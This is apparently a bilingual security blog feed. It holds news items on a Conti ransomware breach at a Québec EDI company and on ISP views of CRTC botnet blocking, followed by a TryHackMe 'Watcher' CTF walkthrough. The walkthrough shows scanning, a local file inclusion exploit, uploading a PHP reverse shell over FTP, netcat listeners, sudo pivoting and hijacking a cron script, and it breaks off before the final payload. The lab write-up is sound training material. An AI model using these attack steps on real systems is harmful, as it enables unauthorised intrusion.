<p>crédit photo: <a href="https://www.flickr.com/photos/136770128@N07/">Richard Patterson</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Dorval company targeted by the Conti group</title>
      <link>https://media.hackfest.ca/en/blog/dorval-company-targeted-by-conti</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/dorval-company-targeted-by-conti</guid>
      <pubDate>Sun, 28 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Conti</category>
      <category>phishing</category>
      <description>Faxinating Solutions, a Québec company specializing in electronic data interchange (EDI), was targeted by a cybercriminal group. On March 16, the Conti group published confidential documents, which it claims to have stolen from the company, on its site hosted on the “dark web.”</description>
      <enclosure url="https://media.hackfest.ca/images/posts/faxinating-conti.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/faxinating-conti.webp" alt="crtc" /></p>

<p>Faxinating Solutions, a Québec company specializing in electronic data interchange (EDI), was targeted by a cybercriminal group. On March 16, the Conti group published confidential documents, which it claims to have stolen from the company, on its site hosted on the “dark web.”</p>

<p>Reached by phone, owner and CEO Steve Hatajlo told us that he “cannot deny that an incident took place.” The company, along with the relevant authorities, is “monitoring the situation closely.” According to a report published on <a href="https://www.freightwaves.com/news/ransomware-attack-on-edi-provider-highlights-cyber-risks-in-supply-chain">the FreightWaves website</a>, the breach was discovered on March 3 and the entry point was a phishing email.</p>

<p>Faxinating Solutions provides software tools that allow businesses to transfer data from one format to another. EDI thus makes it possible to share electronically information that was once available only on paper, such as purchase orders or invoices. Its clients include big names in transportation and retail, such as Metro, Walmart, Colabor and others.</p>

<p>The company’s website states that it offers a web portal for suppliers of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry). This service is reportedly not offered directly, but through a partner. In response to our request for information, an MSSS spokesperson said that “this supplier has no contracts or business relationships with the Ministère de la Santé et des Services sociaux and no cyberattack has been recorded.” Following a request for clarification, the MSSS public affairs department told us that “some institutions in the health and social services network have suppliers that subcontract with this company. The company holds no information belonging to the MSSS or its institutions. However, we continue to monitor the situation.” Mr. Hatajlo assured us that Faxinating Solutions does not process any medical data or confidential patient information.</p>

<p>Ransomware attacks are growing, and this incident reminds us that companies offering IT solutions are prime targets for criminal groups.</p>

<p><em>This article was updated after its initial publication to include the clarification received from the MSSS.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title>Une entreprise de Dorval ciblée par le groupe Conti</title>
      <link>https://media.hackfest.ca/blog/breach-faxinating</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/breach-faxinating</guid>
      <pubDate>Sun, 28 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Conti</category>
      <category>hameçonnage</category>
      <description>Faxinating Solutions, une compagnie québécoise spécialisée en échange de données informatisées (EDI) a été la cible d’un groupe de cybercriminels. Le 16 mars dernier, le groupe Conti a publié des documents confidentiels, qu’il allègue leur avoir volés, sur son site hébergé sur le « dark web ».</description>
      <enclosure url="https://media.hackfest.ca/images/posts/faxinating-conti.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/faxinating-conti.webp" alt="crtc" /></p>

<p>Faxinating Solutions, une compagnie québécoise spécialisée en échange de données informatisées (EDI) a été la cible d’un groupe de cybercriminels. Le 16 mars dernier, le groupe Conti a publié des documents confidentiels, qu’il allègue leur avoir volés, sur son site hébergé sur le « dark web ».</p>

<p>Rejoint au téléphone, le propriétaire et PDG Steve Hatajlo, nous a dit « qu’il ne peut nier qu’un incident a eu lieu ». L’entreprise, et les autorités concernées, « surveillent la situation de près ». Selon un reportage publié sur <a href="https://www.freightwaves.com/news/ransomware-attack-on-edi-provider-highlights-cyber-risks-in-supply-chain">le site freightwaves</a>, la brèche a été découverte le 3 mars et la porte d’entrée était un courriel d’hameçonnage.</p>

<p>Faxinating Solutions est une entreprise qui offre des outils informatiques afin de permettre aux entreprises de transférer des données d’un format à un autre. L’EDI permet donc de partager électroniquement des informations autrefois disponibles sur papier seulement, comme des bons de commande ou des factures. Elle compte parmi ses clients de grands noms du domaine du transport et de la vente au détail, comme Métro, Walmart, Colabor et d’autres.</p>

<p>Sur le site web de la compagnie, on peut lire que l’entreprise offre un portail web pour les fournisseurs du Ministère de la Santé et des Services Sociaux (MSSS). Ce service ne serait pas offert directement, mais par l’entremise d’un partenaire. Une porte-parole du MSSS a répondu à notre demande d’information que « ce fournisseur n’a pas de contrats ni de relations d’affaires avec le ministère de la Santé et des Services sociaux et aucune attaque informatique n’a été répertoriée. » Suite à une demande d’éclaircissement, le Service des affaires publique du MSSS nous a répondu que « certains établissements du réseau de santé et des services sociaux ont des fournisseurs qui travaillent en sous-traitance avec cette compagnie. La compagnie ne détient aucune information appartenant au MSSS et à ses établissements. Toutefois, nous continuons de surveiller la situation. » M. Hatajlo nous a assuré que Faxinating Solutions ne traite aucune donnée médicale ou information de nature confidentielle appartenant à des patients.</p>

<p>Les attaques au rançongiciel prennent de l’ampleur et cet incident nous rappelle que les entreprises qui offrent des solutions informatiques sont des cibles de choix pour les groupes criminels.</p>

<p><em>Cet article a été modifié pour y inclure la précision reçue du MSSS après sa parution initiale.</em></p>
]]></content:encoded>
    </item>
    <item>
      <title>Botnet blocking: no consensus among ISPs</title>
      <link>https://media.hackfest.ca/en/blog/no-consensus-among-isps</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/no-consensus-among-isps</guid>
      <pubDate>Wed, 24 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Policy &amp; regulation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <category>ISP</category>
      <description>The period for submitting comments on the CRTC’s botnet blocking plan is over. Reading the submissions, it is clear that Internet service providers (ISPs) do not all see the situation the same way. Some even go so far as to question the CRTC’s legitimacy in implementing such a program.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-avis.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-avis.webp" alt="crtc" /></p>

<p>The period for submitting comments on the botnet blocking plan of the CRTC (Canadian Radio-television and Telecommunications Commission) is over. Reading <a href="https://services.crtc.gc.ca/pub/ListeInterventionList/Default-Defaut.aspx?en=2021-9&amp;dt=i&amp;lang=f&amp;S=C&amp;PA=a&amp;PT=nc&amp;PST=a">the interventions</a>, it is clear that Internet service providers (ISPs) do not all see the situation the same way. Some even go so far as to question the CRTC’s legitimacy in implementing such a program.</p>

<h3 id="mandatory-blocking-no-transparency-required">Mandatory blocking, no transparency required</h3>

<p>In a document signed by Mr. Dennis Béland, Vice-President, Regulatory Affairs, at Vidéotron, we read that “it is possible for the Commission to frame network-level blocking based on a [<em>sic</em>] series of simple and uniform rules.”</p>

<p>Vidéotron advocates a domain blocking approach. Under this approach, an entity yet to be determined would have to maintain a list of malicious domain names to block. According to Mr. Béland, this method should be favoured “because it is already deployed in our network, which will allow the framework to be deployed at lower cost and implemented quickly. This technique strikes a balance between effectiveness and ease of deployment and will not result in additional costs for Internet service subscribers.”</p>

<p>The Québecor Média subsidiary proposes universal blocking, with no opt-out. In its view, it is not desirable for such a system to be optional. Vidéotron considers that, since it is not optional, “transparency measures are not required.”</p>

<h3 id="isps-against-blocking">ISPs against blocking</h3>

<p>Vidéotron’s main competitor in Quebec takes a diametrically opposed position. In its document, Bell Canada challenges the CRTC’s legitimacy to implement such a program. It considers that a centralized framework imposed by the Commission is “in opposition to the cooperative and collaborative approach adopted by the government”([^1]:Translated from English by the author) on cybersecurity. Bell refers to the stakeholders identified in the National Cyber Security Strategy, published in 2010, and seems to take malicious pleasure in pointing out that the CRTC is not among them.</p>

<p>Bell takes a dim view of having a blocking program overseen by an independent entity. “The time between the detection of a malicious botnet and the application of mitigation solutions can sometimes be very short.” The need to notify and obtain approval from an external entity would hinder its ability to respond effectively to threats.</p>

<p>Bell opposes the possibility of an opt-out system for the blocking program, but for very different reasons than Vidéotron. Currently, a domain deemed dangerous is blocked without knowing the identity of the person requesting it. Giving customers a choice would therefore involve collecting more personal data than is currently required.</p>

<p>Telus, in its report to the CRTC, considers that blocking botnets does nothing to address the root of the problem. It is a reactive solution applied once devices have already been infected. The company believes the government should put more effort into establishing and enforcing security standards for manufacturers of Internet-connected devices. “Adopting a proactive approach will have a more significant impact on reducing botnet attacks than the proposed network-level blocking.”</p>

<p>Cogeco clearly positions itself in favour of net neutrality. The Montreal-based company is concerned that government-imposed additional blocking rules could erode net neutrality and have the potential to weaken privacy protection.</p>

<h3 id="on-the-independents-side">On the independents’ side</h3>

<p>Xplornet expresses its reservations about the CRTC’s plan. For the company, which specializes in rural coverage, blocking will not be effective, because it only tackles the problem once the damage is done. It therefore advocates a prevention approach to protect the public. It is concerned that such a framework would give a false sense of security.</p>

<p>Teksaavy, one of the country’s main independent ISPs, also opposes the plan. The company, which has been present in Quebec since 2020, considers that network-level blocking violates the basic principles of a free and open Internet. It believes such a framework would undermine net neutrality without really increasing Internet security.</p>

<p>Several other parties also filed submissions. The CRTC now has the task of analyzing these interventions. The task will not be easy, as blocking is far from unanimous among the Internet service providers who will be responsible for applying this measure if the Commission decides to adopt it.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/twicepix/">Martin Abegglen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Blocage des botnets: pas de consensus chez les FAI</title>
      <link>https://media.hackfest.ca/blog/pas-de-consensus-fai</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/pas-de-consensus-fai</guid>
      <pubDate>Wed, 24 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Politique &amp; réglementation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <category>FAI</category>
      <description>La période pour déposer ses observations sur le projet de blocage des botnets par le CRTC est terminée. À la lecture des avis déposés, on voit que les fournisseurs d’accès à Internet (FAI) ne voient pas tous la situation du même œil. Certains vont même jusqu’à mettre en doute la légitimité du CRTC à mettre en place un tel programme.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-avis.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-avis.webp" alt="crtc" /></p>

<p>La période pour déposer ses observations sur le projet de blocage des botnets par le CRTC (Conseil de la radiodiffusion et des télécommunications canadiennes) est terminée. À la lecture <a href="https://services.crtc.gc.ca/pub/ListeInterventionList/Default-Defaut.aspx?en=2021-9&amp;dt=i&amp;lang=f&amp;S=C&amp;PA=a&amp;PT=nc&amp;PST=a">des interventions</a>, on voit que les fournisseurs d’accès à Internet (FAI) ne voient pas tous la situation du même œil. Certains vont même jusqu’à mettre en doute la légitimité du CRTC à mettre en place un tel programme.</p>

<h3 id="blocage-obligatoire-transparence-non-requise">Blocage obligatoire, transparence non requise</h3>

<p>Dans un document signé par M. Dennis Béland, Vice-Président, Affaires réglementaires, chez Vidéotron, on peut lire qu’« il est possible pour le Conseil d’encadrer le blocage à l’échelle des réseaux en se basant sur un [<em>sic</em>] série de règles simples et uniformes. »</p>

<p>Vidéotron préconise une approche de blocage de domaine. Avec cette approche, une entité qui reste à définir devra maintenir une liste de noms de domaines malicieux à bloquer. Selon M. Béland, cette méthode est à préconiser « car elle est déjà déployée dans notre réseau, ce qui permettra le déploiement du cadre à moindre coût et une mise en œuvre rapide. Cette technique concilie efficacité et facilité de déploiement et n’entraînera pas de coûts supplémentaires pour les abonnés des services Internet. »</p>

<p>La filiale de Québecor Média propose un blocage universel, sans option de retrait. Il n’est pas souhaitable pour elle qu’un tel système soit optionnel. Vidéotron considère que n’étant pas optionnel, « des mesures de transparence ne sont pas requises. »</p>

<h3 id="fai-contre-le-blocage">FAI contre le blocage</h3>

<p>Le principal compétiteur de Vidéotron au Québec prend une position aux antipodes. Dans son document, Bell Canada conteste la légitimité du CRTC de mettre en place un tel programme. Elle considère qu’un cadre centralisé imposé par le Conseil est « en opposition avec l’approche coopérative et collaborative adoptée par le gouvernement »([^1]:Traduit de l’anglais par l’auteur) en matière de cybersécurité. Bell fait référence aux parties prenantes identifiées dans la Stratégie Nationale de Cybersécurité, publiée en 2010, et semble se faire un malin plaisir de souligner que le CRTC n’y figure pas.</p>

<p>Bell ne voit pas d’un bon œil la supervision d’un programme de blocage par une entité indépendante. « Le délai entre la détection d’un botnet malicieux et l’application de solutions de mitigations peut parfois être très court ». La nécessité d’aviser et d’obtenir l’approbation d’une entité externe nuirait à sa capacité de répondre efficacement aux menaces.</p>

<p>Bell se prononce contre la possibilité d’un système de retrait du programme de blocage, mais pour des raisons très différentes de Vidéotron. Actuellement, le blocage d’un domaine considéré dangereux se fait sans connaître l’identité de la personne qui le demande. Instaurer un choix pour le client ou la cliente implique donc la collecte de données personnelles supplémentaires que ce qui est requis actuellement.</p>

<p>Telus, dans son rapport au CRTC considère que le blocage des botnets ne fait rien pour régler le problème à la racine. Il s’agit d’une solution réactive qui est appliquée une fois que des appareils ont été infectés. La compagnie considère que le gouvernement devrait mettre plus d’effort à établir et appliquer des normes de sécurité pour les manufacturiers d’appareils connectés à Internet. « Adopter une approche proactive aura un impact plus significatif sur la réduction des attaques de botnets que la proposition d’un blocage à l’échelle du réseau ».</p>

<p>Cogeco se positionne clairement en faveur de la neutralité du réseau. La compagnie basée à Montréal s’inquiète que l’imposition gouvernementale de règles de blocage supplémentaires pourrait éroder la neutralité du réseau et a le potentiel de diminuer la protection de la vie privée.</p>

<h3 id="du-côté-des-indépendants">Du côté des indépendants</h3>

<p>Xplornet fait part de ses réserves sur le projet du CRTC. Pour la compagnie spécialisée en couverture des régions rurales, le blocage ne sera pas efficace, car il ne fait que s’attaquer au problème une fois que le mal est fait. Elle préconise donc une approche de prévention pour protéger la population. Elle s’inquiète qu’un tel cadre donnerait un faux sentiment de sécurité.</p>

<p>Teksaavy, l’un des principaux FAI indépendants au pays, s’oppose également au projet. La compagnie, qui est présente au Québec depuis 2020, considère que le blocage à l’échelle du réseau contrevient aux principes de base d’un Internet libre et ouvert. Elle considère qu’un tel cadre portera atteinte à la neutralité du réseau sans réellement augmenter la sécurité de l’Internet.</p>

<p>Plusieurs autres intervenants ont également déposé des avis. Le CRTC a maintenant la tâche d’analyser ces interventions. La tâche ne sera pas facile car le blocage ne fait nullement l’unanimité chez les fournisseurs d’accès à Internet qui seront responsables d’appliquer cette mesure si le Conseil décide de l’adopter.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/twicepix/">Martin Abegglen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC</a></p>

]]></content:encoded>
    </item>
    <item>
      <title>TryHackMe Walkthrough - Watcher</title>
      <link>https://media.hackfest.ca/en/blog/TryHackMe-Walkthrough-Watcher</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/TryHackMe-Walkthrough-Watcher</guid>
      <pubDate>Mon, 15 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Eric Hogue</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Walkthroughs &amp; CTF</category>
      <category>TryHackMe</category>
      <category>LFI</category>
      <category>privesc</category>
      <description>A walkthrough of the Watcher room on TryHackMe. This is a room of medium difficulty. You need to find 7 flags by starting from a web site, getting a shell on the server and elevating our privileges untill we get root.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>This is my walkthrough of the <a href="https://tryhackme.com/room/watcher">Watcher room on TryHackMe</a>. There are seven flags to find, without any additional description.</p>

<ul>
  <li>Room: Watcher</li>
  <li>Difficulty: Medium</li>
  <li>URL: https://tryhackme.com/room/watcher</li>
</ul>

<h2 id="scanning">Scanning</h2>

<p>The first thing to do when attacking a box is to scan it. I usually do this in three steps:</p>
<ol>
  <li>An aggressive scan on the first 10 000 ports (<code class="language-plaintext highlighter-rouge">nmap -A -oN nmap.txt target</code>)</li>
  <li>A vulnerability  scan on the first 10 000 ports (<code class="language-plaintext highlighter-rouge">nmap -script vuln -oN nmapVuln.txt target</code>)</li>
  <li>A SYN scan on all the ports (<code class="language-plaintext highlighter-rouge">sudo nmap -sS -p- -oN nmapFull.txt target</code>)</li>
</ol>

<p>Here are the results of the first scan:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target</span>
Nmap scan report <span class="k">for </span>target <span class="o">(</span>10.10.208.34<span class="o">)</span>
Host is up <span class="o">(</span>0.23s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 <span class="o">(</span>RSA<span class="o">)</span>
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open  http    Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
<span class="c"># Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds</span>
</code></pre></div></div>

<p>The vulnerabilities and full scan did not bring anything more of interest.</p>

<p>The first opened port is for FTP. Anonymous login does not seems to be allowed, but lets try it anyway.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
</code></pre></div></div>

<p>No luck here, so lets look at the web site on port 80.</p>

<h2 id="web-site">Web Site</h2>

<p>Navigating to http://target/ gives us a site about cork placemats. A quick look at the request in Burp does not show anything interesting.</p>

<p>However, there is a robots.txt file that contains two entries.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
</code></pre></div></div>

<p>Navigating to http://target/flag_1.txt give us our first flag. http://target/secret_file_do_not_read.txt is forbidden.</p>

<p>Now I start scanning site for hidden pages. I use GoBuster to scan web sites. I usually use two different lists to do so. I should probably build one list with only the unique values out of those two.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-e</span> <span class="nt">-u</span> http://target/ <span class="nt">-t30</span> <span class="nt">-w</span> /usr/share/dirb/wordlists/common.txt  | <span class="nb">tee </span>gobuster.txt
<span class="o">===============================================================</span>
Gobuster v3.1.0
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> &amp; Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url:                     http://target/
<span class="o">[</span>+] Method:                  GET
<span class="o">[</span>+] Threads:                 30
<span class="o">[</span>+] Wordlist:                /usr/share/dirb/wordlists/common.txt
<span class="o">[</span>+] Negative Status codes:   404
<span class="o">[</span>+] User Agent:              gobuster/3.1.0
<span class="o">[</span>+] Expanded:                <span class="nb">true</span>
<span class="o">[</span>+] Timeout:                 10s
<span class="o">===============================================================</span>
2021/03/14 13:09:21 Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
http://target/.hta                 <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htaccess            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htpasswd            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/css                  <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 298] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/css/]
http://target/images               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 301] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/images/]
http://target/index.php            <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 4826]
http://target/robots.txt           <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 69]
http://target/server-status        <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
<span class="o">===============================================================</span>
2021/03/14 13:10:00 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>Nothing very interesting here.</p>

<p>While GoBuster was running, I started looking around the site. When I clicked on one of the post, it pointed to this url: http://target/post.php?post=striped.php . This looked like it could be used for a <a href="https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/">Local File Inclusion (LFI)</a> attack.</p>

<p>So I used it to try reading the secret file that I could not access earlier. I loaded http://target/post.php?post=secret_file_do_not_read.txt and it worked. The file contains the following message:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD
</code></pre></div></div>
<p>We now have the credentials to the FTP server. It also hints that we will be able to write files in the FTP server, and where they will be saved.</p>

<p>First, lets make sure that the code is executed when included. I tried to include index.php to see if it would output the content, or execute it.</p>

<p>Load http://target/post.php?post=index.php, you will see the the index page loaded inside the post page.</p>

<p><img src="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" alt="LFI" title="LFI" /></p>

<p>Then, I tried to get the post.php source code to see if there where any filtering, or if I could use it to load any file.</p>

<p>Loading  http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php gave me the PHP source code encoded in base64. I decoded it, and saw the there is no filtering. You can load any file from the server.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col-8"</span><span class="nt">&gt;</span>
  <span class="cp">&lt;?php</span> <span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"post"</span><span class="p">];</span> <span class="cp">?&gt;</span>
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<h2 id="getting-a-shell">Getting a Shell</h2>
<p>Now I knew I could use the FTP server to upload a file, then execute it on the server through the LFI vulnerability.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system <span class="nb">type </span>is UNIX.
Using binary mode to transfer files.
ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span>
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 <span class="nb">.</span>
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
<span class="nt">-rw-r--r--</span>    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp&gt; get flag_2.txt
<span class="nb">local</span>: flag_2.txt remote: flag_2.txt
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Opening BINARY mode data connection <span class="k">for </span>flag_2.txt <span class="o">(</span>21 bytes<span class="o">)</span><span class="nb">.</span>
226 Transfer complete.
21 bytes received <span class="k">in </span>0.00 secs <span class="o">(</span>84.0484 kB/s<span class="o">)</span>
</code></pre></div></div>

<p>We found the second flag in the FTP server. We also see that the files folder is writable, so we can push our reverse shell there.</p>

<p>I use the PHP reverse shell that is available in Kali at <code class="language-plaintext highlighter-rouge">/usr/share/webshells/php/php-reverse-shell.php</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; <span class="nb">cd </span>files 
250 Directory successfully changed.
ftp&gt; put php-reverse-shell.php
<span class="nb">local</span>: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent <span class="k">in </span>0.00 secs <span class="o">(</span>5.8002 MB/s<span class="o">)</span>
</code></pre></div></div>

<p>According to the message found earlier, that file should now be at <code class="language-plaintext highlighter-rouge">/home/ftpuser/ftp/filesphp-reverse-shell.php</code>.</p>

<p>I started a Netcat listener in my Kali VM (<code class="language-plaintext highlighter-rouge">nc -lvnp 4444</code>). Then loaded http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php in a browser. I got a connection on my listener.</p>

<p>I stabilized my shell with the following commands:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm

<span class="c"># Hit Ctrl-z to go background the shell</span>
<span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span><span class="nb">fg</span>
</code></pre></div></div>

<p>From there, I found a third flag in the web site files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>www-data
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/<span class="nv">$ </span><span class="nb">cat</span> /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG<span class="o">{</span>SOME FLAG<span class="o">}</span>
</code></pre></div></div>

<h2 id="escalate-to-toby">Escalate to Toby</h2>
<p>Now that we have a shell, we need to try to escalate our privileges.</p>

<p>First thing to do is check is the current user can run sudo. www-data should not, but it’s a good idea to check anyway.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>www-data on watcher:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User www-data may run the following commands on watcher:
    <span class="o">(</span>toby<span class="o">)</span> NOPASSWD: ALL
</code></pre></div></div>

<p>www-data is allowed to run any command as toby.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-utoby</span> bash <span class="nt">-p</span>
toby@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>toby
toby@watcher:/<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/toby/
total 12
<span class="nt">-rw-------</span> 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 <span class="nb">jobs</span>
<span class="nt">-rw-r--r--</span> 1 mat  mat    89 Dec 12 15:25 note.txt
</code></pre></div></div>

<p>We have our 4th flag.</p>

<h2 id="escalate-to-mat">Escalate to Mat</h2>

<p>We have to find a way to elevate our privileges again. <code class="language-plaintext highlighter-rouge">sudo -l</code> require a password, so we need to find something else.</p>

<p>There is a note.txt file in the home folder, lets look at it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat
</code></pre></div></div>

<p>It looks like there is a cron job running, probably as Mat that we might be able to use. There is a jobs folder, and it contains a sh file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> <span class="nb">jobs</span>/
total 4
<span class="nt">-rwxr-xr-x</span> 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~<span class="nv">$ </span><span class="nb">cat jobs</span>/cow.sh 
<span class="c">#!/bin/bash</span>
<span class="nb">cp</span> /home/mat/cow.jpg /tmp/cow.jpg
</code></pre></div></div>
<p>This might be the cron from the message. And we can write to it. So I modified to add a reverse shell connection, started another Netcat listener and waited for a connection.</p>

<p>Add this to jobs/cow.sh</p>
